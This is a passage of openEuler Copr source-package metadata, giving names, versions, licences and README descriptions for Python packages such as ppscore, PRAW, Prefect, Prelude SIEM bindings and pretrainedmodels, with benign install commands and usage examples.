  |made-with-python| |PyPI-version| |Hit-Count| |Downloads| |Downloads-month| |Downloads-week|
  HTTP/HTTP2/HTTP3/Socks4/Socks5/Shadowsocks/SSH/Redirect/Pf/QUIC TCP/UDP asynchronous tunnel proxy implemented in Python3 asyncio.


pkgId: 181c794f8714becd9c15b52a1b9c1c3557e0951fc3b28c09cbe9998d567342c3
name: python-ppscore
arch: src
version: 1.3.0
epoch: 0
release: 1
summary: Python implementation of the Predictive Power Score (PPS)
url: https://github.com/8080labs/ppscore/
rpm_license: mit
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-8f5eeb71-2b2b-48e7-bd92-435b50425449
location_href: 00012684-python-ppscore/python-ppscore-1.3.0-1.src.rpm
checksum_type: sha256
description:
  __If you don't know yet what the Predictive Power Score is, please read the following blog post:__

  __[RIP correlation. Introducing the Predictive Power Score](https://towardsdatascience.com/rip-correlation-introducing-the-predictive-power-score-3d90808b9598?sk=7ac6697576053896fb27d3356dd6db32)__

  The PPS is an asymmetric, data-type-agnostic score that can detect linear or non-linear relationships between two columns. The score ranges from 0 (no predictive power) to 1 (perfect predictive power). It can be used as an alternative to the correlation (matrix).


  - [Installation](#installation)
  - [Getting started](#getting-started)
  - [API](#api)
  - [Calculation of the PPS](#calculation-of-the-pps)
  - [About](#about)




  > You need Python 3.6 or above.

  From the terminal (or Anaconda prompt in Windows), enter:

  ```bash
  pip install -U ppscore
  ```




  > The examples refer to the newest version (1.2.0) of ppscore. [See changes](https://github.com/8080labs/ppscore/blob/master/CHANGELOG.md)

  First, let's create some data:

  ```python
  import pandas as pd
  import numpy as np
  import ppscore as pps

  df = pd.DataFrame()
  df["x"] = np.random.uniform(-2, 2, 1_000_000)
  df["error"] = np.random.uniform(-0.5, 0.5, 1_000_000)
  df["y"] = df["x"] * df["x"] + df["error"]
  ```

  Based on the dataframe we can calculate the PPS of x predicting y:

  ```python
  pps.score(df, "x", "y")
  ```

  We can calculate the PPS of all the predictors in the dataframe against a target y:

  ```python
  pps.predictors(df, "y")
  ```

  Here is how we can calculate the PPS matrix between all columns:

  ```python
  pps.matrix(df)
  ```



  For the visualization of the results you can use seaborn or your favorite viz library.

  __Plotting the PPS predictors:__

  ```python
  import seaborn as sns
  predictors_df = pps.predictors(df, y="y")
  sns.barplot(data=predictors_df, x="x", y="ppscore")
  ```

  __Plotting the PPS matrix:__

  (This needs some minor preprocessing because seaborn.heatmap unfortunately does not accept tidy data)

  ```python
  import seaborn as sns
  matrix_df = pps.matrix(df)[['x', 'y', 'ppscore']].pivot(columns='x', index='y', values='ppscore')
  sns.heatmap(matrix_df, vmin=0, vmax=1, cmap="Blues", linewidths=0.5, annot=True)
  ```






  Calculate the Predictive Power Score (PPS) for "x predicts y"

  - The score always ranges from 0 to 1 and is data-type agnostic.

  - A score of 0 means that the column x cannot predict the column y better than a naive baseline model.

  - A score of 1 means that the column x can perfectly predict the column y given the model.

  - A score between 0 and 1 states the ratio of how much potential predictive power the model achieved compared to the baseline model.




  - __df__ : pandas.DataFrame
      - Dataframe that contains the columns x and y
  - __x__ : str
      - Name of the column x which acts as the feature
  - __y__ : str
      - Name of the column y which acts as the target
  - __sample__ : int or `None`
      - Number of rows for sampling. The sampling decreases the calculation time of the PPS.
      If `None` there will be no sampling.
  - __cross_validation__ : int
      - Number of iterations during cross-validation. This has the following implications:
      For example, if the number is 4, then it is possible to detect patterns when there are at least 4 times the same observation. If the limit is increased, the required minimum observations also increase. This is important, because this is the limit when sklearn will throw an error and the PPS cannot be calculated
  - __random_seed__ : int or `None`
      - Random seed for the parts of the calculation that require random numbers, e.g. shuffling or sampling.
      If the value is set, the results will be reproducible. If the value is `None` a new random number is drawn at the start of each calculation.
  - __invalid_score__ : any
      - The score that is returned when a calculation is not valid, e.g. because the data type was not supported.
  - __catch_errors__ : bool
      - If `True` all errors will be catched and reported as `unknown_error` which ensures convenience. If `False` errors will be raised. This is helpful for inspecting and debugging errors.




  - __Dict__:
      - A dict that contains multiple fields about the resulting PPS.
      The dict enables introspection into the calculations that have been performed under the hood




  Calculate the Predictive Power Score (PPS) for all columns in the dataframe against a target (y) column


  - __df__ : pandas.DataFrame
      - The dataframe that contains the data
  - __y__ : str
      - Name of the column y which acts as the target
  - __output__ : str - potential values: "df", "list"
      - Control the type of the output. Either return a df or a list with all the PPS score dicts
  - __sorted__ : bool
      - Whether or not to sort the output dataframe/list by the ppscore
  - __kwargs__ :
      - Other key-word arguments that shall be forwarded to the pps.score method, e.g. __sample__, __cross_validation__, __random_seed__, __invalid_score__, __catch_errors__



  - __pandas.DataFrame__ or list of PPS dicts:
      - Either returns a df or a list of all the PPS dicts. This can be influenced by the output argument




  Calculate the Predictive Power Score (PPS) matrix for all columns in the dataframe



  - __df__ : pandas.DataFrame
      - The dataframe that contains the data
  - __output__ : str - potential values: "df", "list"
      - Control the type of the output. Either return a df or a list with all the PPS score dicts
  - __sorted__ : bool
      - Whether or not to sort the output dataframe/list by the ppscore
  - __kwargs__ :
      - Other key-word arguments that shall be forwarded to the pps.score method, e.g. __sample__, __cross_validation__, __random_seed__, __invalid_score__, __catch_errors__



  - __pandas.DataFrame__ or list of PPS dicts:
      - Either returns a df or a list of all the PPS dicts. This can be influenced by the output argument




  > If you are uncertain about some details, feel free to jump into the code to have a look at the exact implementation

  There are multiple ways how you can calculate the PPS. The ppscore package provides a sample implementation that is based on the following calculations:

  - The score is calculated using only 1 feature trying to predict the target column. This means there are no interaction effects between the scores of various features. Note that this is in contrast to feature importance
  - The score is calculated on the test sets of a 4-fold cross-validation (number is adjustable via `cross_validation`). For classification, stratifiedKFold is used. For regression, normal KFold. Please note that __this sampling might not be valid for time series data sets__
  - All rows which have a missing value in the feature or the target column are dropped
  - In case that the dataset has more than 5,000 rows the score is only calculated on a random subset of 5,000 rows. You can adjust the number of rows or skip this sampling via `sample`. However, in most scenarios the results will be very similar
  - There is no grid search for optimal model parameters
  - The result might change between calculations because the calculation contains random elements, e.g. the sampling of the rows or the shuffling of the rows before cross-validation. If you want to make sure that your results are reproducible you can set the random seed (`random_seed`).
  - If the score cannot be calculated, the package will not raise an error but return an object where `is_valid_score` is `False`. The reported score will be `invalid_score`. We chose this behavior because we want to give you a quick overview where significant predictive power exists without you having to handle errors or edge cases. However, when you want to explicitly handle the errors, you can still do so.



  As a learning algorithm, we currently use a Decision Tree because the Decision Tree has the following properties:
  - can detect any non-linear bivariate relationship
  - good predictive power in a wide variety of use cases
  - low requirements for feature preprocessing
  - robust model which can handle outliers and does not easily overfit
  - can be used for classification and regression
  - can be calculated quicker than many other algorithms

  We differentiate the exact implementation based on the data type of the target column:
  - If the target column is numeric, we use the sklearn.DecisionTreeRegressor
  - If the target column is categoric, we use the sklearn.DecisionTreeClassifier

  > Please note that we prefer a general good performance on a wide variety of use cases over better performance in some narrow use cases. If you have a proposal for a better/different learning algorithm, please open an issue

  However, please note why we actively decided against the following algorithms:

  - Correlation or Linear Regression: cannot detect non-linear bivariate relationships without extensive preprocessing
  - GAMs: might have problems with very unsmooth functions
  - SVM: potentially bad performance if the wrong kernel is selected
  - Random Forest/Gradient Boosted Tree: slower than a single Decision Tree
  - Neural Networks and Deep Learning: slower calculation than a Decision Tree and also needs more feature preprocessing



  Even though the Decision Tree is a very flexible learning algorithm, we need to perform the following preprocessing steps if a column represents categoric values - that means it has the pandas dtype `object`, `category`, `string` or `boolean`.‌
  - If the target column is categoric, we use the `sklearn.LabelEncoder​`
  - If the feature column is categoric, we use the `sklearn.OneHotEncoder​`




  > This logic was updated in version 1.0.0.

  The choice of the case (`classification` or `regression`) has an influence on the final PPS and thus it is important that the correct case is chosen. The case is chosen based on the data types of the columns. That means, e.g. if you want to change the case from `regression` to `classification` that you have to change the data type from `float` to `string`.

  Here are the two main cases:
  - A __classification__ is chosen if the target has the dtype `object`, `category`, `string` or `boolean`
  - A __regression__ is chosen if the target has the dtype `float` or `int`




  Each case uses a different evaluation score for calculating the final predictive power score (PPS).



  In case of an regression, the ppscore uses the mean absolute error (MAE) as the underlying evaluation metric (MAE_model). The best possible score of the MAE is 0 and higher is worse. As a baseline score, we calculate the MAE of a naive model (MAE_naive) that always predicts the median of the target column. The PPS is the result of the following normalization (and never smaller than 0):
  > PPS = 1 - (MAE_model / MAE_naive)



  If the task is a classification, we compute the weighted F1 score (wF1) as the underlying evaluation metric (F1_model). The F1 score can be interpreted as a weighted average of the precision and recall, where an F1 score reaches its best value at 1 and worst score at 0. The relative contribution of precision and recall to the F1 score are equal. The weighted F1 takes into account the precision and recall of all classes weighted by their support as described [here](https://scikit-learn.org/stable/modules/generated/sklearn.metrics.f1_score.html). As a baseline score (F1_naive), we calculate the weighted F1 score for a model that always predicts the most common class of the target column (F1_most_common) and a model that predicts random values (F1_random). F1_naive is set to the maximum of F1_most_common and F1_random. The PPS is the result of the following normalization (and never smaller than 0):
  > PPS = (F1_model - F1_naive) / (1 - F1_naive)



  There are various cases in which the PPS can be defined without fitting a model to save computation time or in which the PPS cannot be calculated at all. Those cases are described below.


  In the following cases, the PPS is defined but we can save ourselves the computation time:
  - __feature_is_id__ means that the feature column is categoric (see above for __classification__) and that all categories appear only once. Such a feature can never predict a target during cross-validation and thus the PPS is 0.
  - __target_is_id__ means that the target column is categoric (see above for __classification__) and that all categories appear only once. Thus, the PPS is 0 because an ID column cannot be predicted by any other column as part of a cross-validation. There still might be a 1 to 1 relationship but this is not detectable by the current implementation of the PPS.
  - __target_is_constant__ means that the target column only has a single value and thus the PPS is 0 because any column and baseline can perfectly predict a column that only has a single value. Therefore, the feature does not add any predictive power and we want to communicate that.
  - __predict_itself__ means that the feature and target columns are the same and thus the PPS is 1 because a column can always perfectly predict its own value. Also, this leads to the typical diagonal of 1 that we are used to from the correlation matrix.


  In the following cases, the PPS is not defined and the score is set to `invalid_score`:
  - __target_is_datetime__ means that the target column has a datetime data type which is not supported. A possible solution might be to convert the target column to a string column.
  - __target_data_type_not_supported__ means that the target column has a data type which is not supported. A possible solution might be to convert the target column to another data type.
  - __empty_dataframe_after_dropping_na__ occurs when there are no valid rows left after rows with missing values have been dropped. A possible solution might be to replace the missing values with valid values.
  - Last but not least, __unknown_error__ occurs for all other errors that might raise an exception. This case is only reported when `catch_errors` is `True`. If you want to inspect or debug the underlying error, please set `catch_errors` to `False`.


  [![DOI](https://zenodo.org/badge/256518683.svg)](https://zenodo.org/badge/latestdoi/256518683)


  ppscore is developed by [8080 Labs](https://8080labs.com) - we create tools for Python Data Scientists. If you like `ppscore` you might want to check out our other project [bamboolib - a GUI for pandas DataFrames](https://bamboolib.com)


pkgId: cc923f473e895135c99fb8bfb80abcc2e005c35cc96a3e0098bbd40827c00e9b
name: python-praw
arch: src
version: 7.7.0
epoch: 0
release: 1
url: https://pypi.org/project/praw/
rpm_license: Simplified BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-8f91c0c6-aff0-48b3-a56a-f5d6a64d3c80
location_href: 00004590-python-praw/python-praw-7.7.0-1.src.rpm
checksum_type: sha256
summary:
  PRAW, an acronym for "Python Reddit API Wrapper", is a python package that allows for simple access to  Reddit's API.

description:
  PRAW, an acronym for "Python Reddit API Wrapper", is a Python package that allows for
  simple access to Reddit's API. PRAW aims to be easy to use and internally follows all of
  `Reddit's API rules <https://github.com/reddit/reddit/wiki/API>`_. With PRAW there's no
  need to introduce ``sleep`` calls in your code. Give your client an appropriate user
  agent and you're set.


pkgId: 26b9d068f0b34cdece7985b0b9bfd65b2cb40a4244ab68cb6a9f3cf0b81fd946
name: python-precis-i18n
arch: src
version: 1.0.5
epoch: 0
release: 1
summary: PRECIS-i18n: Internationalized Usernames and Passwords
url: https://github.com/byllyfish/precis_i18n
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-2bf2a6dd-31c7-4275-b2d5-f9ee9ecfafb5
location_href: 00004592-python-precis_i18n/python-precis-i18n-1.0.5-1.src.rpm
checksum_type: sha256
description:
  |MIT licensed| |Build Status| |codecov.io|
  If you want your application to accept Unicode user names and passwords,
  you must be careful in how you validate and compare them. The PRECIS
  framework makes internationalized user names and passwords safer for use
  by applications. PRECIS profiles transform Unicode strings into a
  canonical form, suitable for comparison.
  This module implements the PRECIS Framework as described in:
  -  PRECIS Framework: Preparation, Enforcement, and Comparison of
     Internationalized Strings in Application Protocols (`RFC
     8264 <https://tools.ietf.org/html/rfc8264>`__)
  -  Preparation, Enforcement, and Comparison of Internationalized Strings
     Representing Usernames and Passwords (`RFC
     8265 <https://tools.ietf.org/html/rfc8265>`__)
  -  Preparation, Enforcement, and Comparison of Internationalized Strings
     Representing Nicknames (`RFC
     8266 <https://tools.ietf.org/html/rfc8266>`__)
  Requires Python 3.3 or later.


pkgId: 65fdf5f449e1a51015c60cd18b2c1fb2cc33e4b3a3b5816167f9ed68c264993c
name: python-prefect
arch: src
version: 2.10.2
epoch: 0
release: 1
summary: Workflow orchestration and management.
url: https://www.prefect.io
rpm_license: Apache Software License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-dd08aea9-eab5-4b3f-ad54-190af6693b03
location_href: 00010818-python-prefect/python-prefect-2.10.2-1.src.rpm
checksum_type: sha256
description:
  <p align="center"><img src="https://images.ctfassets.net/gm98wzqotmnx/6rIpC9ZCAewsRGLwOw5BRe/bb17e1ef62f60d1ec32c1ae69487704c/prefect-2-logo-dark.png" width=1000></p>

  <p align="center">
      <a href="https://pypi.python.org/pypi/prefect/" alt="PyPI version">
          <img alt="PyPI" src="https://img.shields.io/pypi/v/prefect?color=0052FF&labelColor=090422"></a>
      <a href="https://github.com/prefecthq/prefect/" alt="Stars">
          <img src="https://img.shields.io/github/stars/prefecthq/prefect?color=0052FF&labelColor=090422" /></a>
      <a href="https://pepy.tech/badge/prefect/" alt="Downloads">
          <img src="https://img.shields.io/pypi/dm/prefect?color=0052FF&labelColor=090422" /></a>
      <a href="https://github.com/prefecthq/prefect/pulse" alt="Activity">
          <img src="https://img.shields.io/github/commit-activity/m/prefecthq/prefect?color=0052FF&labelColor=090422" /></a>
      <br>
      <a href="https://prefect-community.slack.com" alt="Slack">
          <img src="https://img.shields.io/badge/slack-join_community-red.svg?color=0052FF&labelColor=090422&logo=slack" /></a>
      <a href="https://discourse.prefect.io/" alt="Discourse">
          <img src="https://img.shields.io/badge/discourse-browse_forum-red.svg?color=0052FF&labelColor=090422&logo=discourse" /></a>
      <a href="https://www.youtube.com/c/PrefectIO/" alt="YouTube">
          <img src="https://img.shields.io/badge/youtube-watch_videos-red.svg?color=0052FF&labelColor=090422&logo=youtube" /></a>
  </p>



  Prefect is an orchestrator for data-intensive workflows. It's the simplest way to transform any Python function into a unit of work that can be observed and orchestrated. With Prefect, you can build resilient, dynamic workflows that react to the world around them and recover from unexpected changes. With just a few decorators, Prefect supercharges your code with features like automatic retries, distributed execution, scheduling, caching, and much more. Every activity is tracked and can be monitored with the Prefect server or Prefect Cloud dashboard.

  ```python
  from prefect import flow, task
  from typing import List
  import httpx


  @task(retries=3)
  def get_stars(repo: str):
      url = f"https://api.github.com/repos/{repo}"
      count = httpx.get(url).json()["stargazers_count"]
      print(f"{repo} has {count} stars!")


  @flow(name="GitHub Stars")
  def github_stars(repos: List[str]):
      for repo in repos:
          get_stars(repo)



  github_stars(["PrefectHQ/Prefect"])
  ```

  After running some flows, fire up the Prefect UI to see what happened:

  ```bash
  prefect server start
  ```

  ![](/docs/img/ui/flow-run-page.png)

  From here, you can continue to use Prefect interactively or [deploy your flows](https://docs.prefect.io/concepts/deployments) to remote envirnments, running on a scheduled or event-driven basis.



  Prefect requires Python 3.7 or later. To [install Prefect](https://docs.prefect.io/getting-started/installation/), run the following command in a shell or terminal session:

  ```bash
  pip install prefect
  ```

  Start by then exploring the [core concepts of Prefect workflows](https://docs.prefect.io/concepts/), then follow one of our [friendly tutorials](https://docs.prefect.io/tutorials/first-steps) to learn by example.



  Prefect is made possible by the fastest growing community of thousands of friendly data engineers. Join us in building a new kind of workflow system. The [Prefect Slack community](https://prefect.io/slack) is a fantastic place to learn more abou Prefect, ask questions, or get help with workflow design. The [Prefect Discourse](https://discourse.prefect.io/) is an community-driven knowledge base to find answers to your Prefect-related questions. All community forums, including code contributions, issue discussions, and slack messages are subject to our [Code of Conduct](https://discourse.prefect.io/faq).



  See our [documentation on contributing to Prefect](https://docs.prefect.io/contributing/overview/).

  Thanks for being part of the mission to build a new kind of workflow system and, of course, **happy engineering!**


pkgId: c01cd8391ee85694e184504369ef6036ecf4fc459697603bdaed672a73826ea8
name: python-prelude
arch: src
version: 5.1.1
epoch: 0
release: 1
summary: Python bindings for the Prelude Library
url: https://www.prelude-siem.org
rpm_license: GPL V2.1
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-e213ae96-4d90-43cf-b726-4ffe5774935d
location_href: 00004593-python-prelude/python-prelude-5.1.1-1.src.rpm
checksum_type: sha256
description:
  Prelude is a Universal "Security Information & Event Management" (SIEM) system.
  Prelude collects, normalizes, sorts, aggregates, correlates and reports all
  security-related events independently of the product brand or license giving
  rise to such events; Prelude is "agentless".
  As well as being capable of recovering any type of log (system logs, syslog,
  flat files, etc.), Prelude benefits from a native support with a number of
  systems dedicated to enriching information even further (snort, samhain, ossec,
  auditd, etc.).
  Prelude standardizes all the notables or suspicious events to `IDMEF`_
  standard format (RFC 4765). With this format, events are enriched to facilitate
  automation and correlation processes but also to provide as much information to
  the operator (contextualization alerts) to allow it to respond quickly and
  effectively.
  Libprelude is a collection of generic functions providing communication between
  all Sensors, like IDS (Intrusion Detection System), and the Prelude Manager. It
  provides a convenient interface for sending and receiving IDMEF (Information
  and Event Message Exchange Format) alerts to Prelude Manager with transparent
  SSL, fail-over and replication support, asynchronous events and timer
  interfaces, an abstracted configuration API (hooking at the command-line, the
  configuration line, or wide configuration, available from the Manager), and a
  generic plugin API. It allows you to easily turn your favorite security program
  into a Prelude sensor.


pkgId: 012b3520877b20563493db3e92274cf27ff568041ec4ed4c9ea75868a03a935c
name: python-preprocess
arch: src
version: 2.0.0
epoch: 0
release: 1
summary: preprocess: a multi-language preprocessor
url: http://github.com/doconce/preprocess/
rpm_license: http://www.opensource.org/licenses/mit-license.php
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0ef5aae4-6f1a-450b-a11f-0e797c6e55be
location_href: 00004596-python-preprocess/python-preprocess-2.0.0-1.src.rpm
checksum_type: sha256
description:
  There are millions of templating systems out there (most of them
  developed for the web). This isn't one of those, though it does share
  some basics: a markup syntax for templates that are processed to give
  resultant text output.  The main difference with `preprocess.py` is
  that its syntax is hidden in comments (whatever the syntax for comments
  maybe in the target filetype) so that the file can still have valid
  syntax. A comparison with the C preprocessor is more apt.

  `preprocess.py` is targetted at build systems that deal with many
  types of files. Languages for which it works include: C++, Python,
  Perl, Tcl, XML, JavaScript, CSS, IDL, TeX, Fortran, PHP, Java, Shell
  scripts (Bash, CSH, etc.) and C#. Preprocess is usable both as a
  command line app and as a Python module.


pkgId: 00fe27ca73009f60d0981095e95dc9bec44caffd60f125421dc8d333ee25d5c9
name: python-presto-python-client
arch: src
version: 0.8.3
epoch: 0
release: 1
summary: Client for the Presto distributed SQL Engine
url: https://github.com/prestodb/presto-python-client
rpm_license: Apache 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-86a556ce-2746-4193-81f8-5756864c184f
location_href: 00009619-python-presto-python-client/python-presto-python-client-0.8.3-1.src.rpm
checksum_type: sha256
description:
  Client for Presto (https://prestodb.io), a distributed SQL engine for
  interactive and batch big data processing. Provides a low-level client and
  a DBAPI 2.0 implementation.


pkgId: e4ed79470e232bbbce8bf698ee60e92f150eb16d6c8736213b7ff8c9e3fce55d
name: python-pretrainedmodels
arch: src
version: 0.7.4
epoch: 0
release: 1
summary: Pretrained models for Pytorch
url: https://github.com/cadene/pretrained-models.pytorch
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4e20088d-5c60-45a0-abf5-03628a49a86b
location_href: 00012194-python-pretrainedmodels/python-pretrainedmodels-0.7.4-1.src.rpm
checksum_type: sha256
description:
  PNASNet-5-Large | [Tensorflow](https://github.com/tensorflow/models/tree/master/research/slim) | 82.858 | 96.182
  [PNASNet-5-Large](https://github.com/Cadene/pretrained-models.pytorch#pnasnet) | Our porting | 82.736 | 95.992
  NASNet-A-Large | [Tensorflow](https://github.com/tensorflow/models/tree/master/research/slim) | 82.693 | 96.163
  [NASNet-A-Large](https://github.com/Cadene/pretrained-models.pytorch#nasnet) | Our porting | 82.566 | 96.086
  SENet154 | [Caffe](https://github.com/hujie-frank/SENet) | 81.32 | 95.53
  [SENet154](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 81.304 | 95.498
  PolyNet | [Caffe](https://github.com/CUHK-MMLAB/polynet) | 81.29 | 95.75
  [PolyNet](https://github.com/Cadene/pretrained-models.pytorch#polynet) | Our porting | 81.002 | 95.624
  InceptionResNetV2 | [Tensorflow](https://github.com/tensorflow/models/tree/master/slim) | 80.4 | 95.3
  InceptionV4 | [Tensorflow](https://github.com/tensorflow/models/tree/master/slim) | 80.2 | 95.3
  [SE-ResNeXt101_32x4d](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 80.236 | 95.028
  SE-ResNeXt101_32x4d | [Caffe](https://github.com/hujie-frank/SENet) | 80.19 | 95.04
  [InceptionResNetV2](https://github.com/Cadene/pretrained-models.pytorch#inception) | Our porting | 80.170 | 95.234
  [InceptionV4](https://github.com/Cadene/pretrained-models.pytorch#inception) | Our porting | 80.062 | 94.926
  [DualPathNet107_5k](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 79.746 | 94.684
  ResNeXt101_64x4d | [Torch7](https://github.com/facebookresearch/ResNeXt) | 79.6 | 94.7
  [DualPathNet131](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 79.432 | 94.574
  [DualPathNet92_5k](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 79.400 | 94.620
  [DualPathNet98](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 79.224 | 94.488
  [SE-ResNeXt50_32x4d](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 79.076 | 94.434
  SE-ResNeXt50_32x4d | [Caffe](https://github.com/hujie-frank/SENet) | 79.03 | 94.46
  [Xception](https://github.com/Cadene/pretrained-models.pytorch#xception) | [Keras](https://github.com/keras-team/keras/blob/master/keras/applications/xception.py) | 79.000 | 94.500
  [ResNeXt101_64x4d](https://github.com/Cadene/pretrained-models.pytorch#resnext) | Our porting | 78.956 | 94.252
  [Xception](https://github.com/Cadene/pretrained-models.pytorch#xception) | Our porting | 78.888 | 94.292
  ResNeXt101_32x4d | [Torch7](https://github.com/facebookresearch/ResNeXt) | 78.8 | 94.4
  SE-ResNet152 | [Caffe](https://github.com/hujie-frank/SENet) | 78.66 | 94.46
  [SE-ResNet152](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 78.658 | 94.374
  ResNet152 | [Pytorch](https://github.com/pytorch/vision#models) | 78.428 | 94.110
  [SE-ResNet101](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 78.396 | 94.258
  SE-ResNet101 | [Caffe](https://github.com/hujie-frank/SENet) | 78.25 | 94.28
  [ResNeXt101_32x4d](https://github.com/Cadene/pretrained-models.pytorch#resnext) | Our porting | 78.188 | 93.886
  FBResNet152 | [Torch7](https://github.com/facebook/fb.resnet.torch) | 77.84 | 93.84
  SE-ResNet50 | [Caffe](https://github.com/hujie-frank/SENet) | 77.63 | 93.64
  [SE-ResNet50](https://github.com/Cadene/pretrained-models.pytorch#senet) | Our porting | 77.636 | 93.752
  [DenseNet161](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 77.560 | 93.798
  [ResNet101](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 77.438 | 93.672
  [FBResNet152](https://github.com/Cadene/pretrained-models.pytorch#facebook-resnet) | Our porting | 77.386 | 93.594
  [InceptionV3](https://github.com/Cadene/pretrained-models.pytorch#inception) | [Pytorch](https://github.com/pytorch/vision#models) | 77.294 | 93.454
  [DenseNet201](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 77.152 | 93.548
  [DualPathNet68b_5k](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 77.034 | 93.590
  [CaffeResnet101](https://github.com/Cadene/pretrained-models.pytorch#caffe-resnet) | [Caffe](https://github.com/KaimingHe/deep-residual-networks) | 76.400 | 92.900
  [CaffeResnet101](https://github.com/Cadene/pretrained-models.pytorch#caffe-resnet) | Our porting | 76.200 | 92.766
  [DenseNet169](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 76.026 | 92.992
  [ResNet50](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 76.002 | 92.980
  [DualPathNet68](https://github.com/Cadene/pretrained-models.pytorch#dualpathnetworks) | Our porting | 75.868 | 92.774
  [DenseNet121](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 74.646 | 92.136
  [VGG19_BN](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 74.266 | 92.066
  NASNet-A-Mobile | [Tensorflow](https://github.com/tensorflow/models/tree/master/research/slim) | 74.0 | 91.6
  [NASNet-A-Mobile](https://github.com/veronikayurchuk/pretrained-models.pytorch/blob/master/pretrainedmodels/models/nasnet_mobile.py) | Our porting | 74.080 | 91.740
  [ResNet34](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 73.554 | 91.456
  [BNInception](https://github.com/Cadene/pretrained-models.pytorch#bninception) | Our porting | 73.524 | 91.562
  [VGG16_BN](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 73.518 | 91.608
  [VGG19](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 72.080 | 90.822
  [VGG16](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 71.636 | 90.354
  [VGG13_BN](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 71.508 | 90.494
  [VGG11_BN](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 70.452 | 89.818
  [ResNet18](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 70.142 | 89.274
  [VGG13](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 69.662 | 89.264
  [VGG11](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 68.970 | 88.746
  [SqueezeNet1_1](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 58.250 | 80.800
  [SqueezeNet1_0](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 58.108 | 80.428
  [Alexnet](https://github.com/Cadene/pretrained-models.pytorch#torchvision) | [Pytorch](https://github.com/pytorch/vision#models) | 56.432 | 79.194
  Notes:
  - the Pytorch version of ResNet152 is not a porting of the Torch7 but has been retrained by facebook.
  - For the PolyNet evaluation each image was resized to 378x378 without preserving the aspect ratio and then the central 331×331 patch from the resulting image was used.
  Beware, the accuracy reported here is not always representative of the transferable capacity of the network on other tasks and datasets. You must try them all! :P

  Please see [Compute imagenet validation metrics](https://github.com/Cadene/pretrained-models.pytorch#compute-imagenet-validation-metrics)



  Source: [TensorFlow Slim repo](https://github.com/tensorflow/models/tree/master/research/slim)
  - `nasnetalarge(num_classes=1000, pretrained='imagenet')`
  - `nasnetalarge(num_classes=1001, pretrained='imagenet+background')`
  - `nasnetamobile(num_classes=1000, pretrained='imagenet')`

  Source: [Torch7 repo of FaceBook](https://github.com/facebook/fb.resnet.torch)
  There are a bit different from the ResNet* of torchvision. ResNet152 is currently the only one available.
  - `fbresnet152(num_classes=1000, pretrained='imagenet')`

  Source: [Caffe repo of KaimingHe](https://github.com/KaimingHe/deep-residual-networks)
  - `cafferesnet101(num_classes=1000, pretrained='imagenet')`

  Source: [TensorFlow Slim repo](https://github.com/tensorflow/models/tree/master/slim) and [Pytorch/Vision repo](https://github.com/pytorch/vision/tree/master/torchvision) for `inceptionv3`
  - `inceptionresnetv2(num_classes=1000, pretrained='imagenet')`
  - `inceptionresnetv2(num_classes=1001, pretrained='imagenet+background')`
  - `inceptionv4(num_classes=1000, pretrained='imagenet')`
  - `inceptionv4(num_classes=1001, pretrained='imagenet+background')`
  - `inceptionv3(num_classes=1000, pretrained='imagenet')`

  Source: [Trained with Caffe](https://github.com/Cadene/tensorflow-model-zoo.torch/pull/2) by [Xiong Yuanjun](http://yjxiong.me)
  - `bninception(num_classes=1000, pretrained='imagenet')`

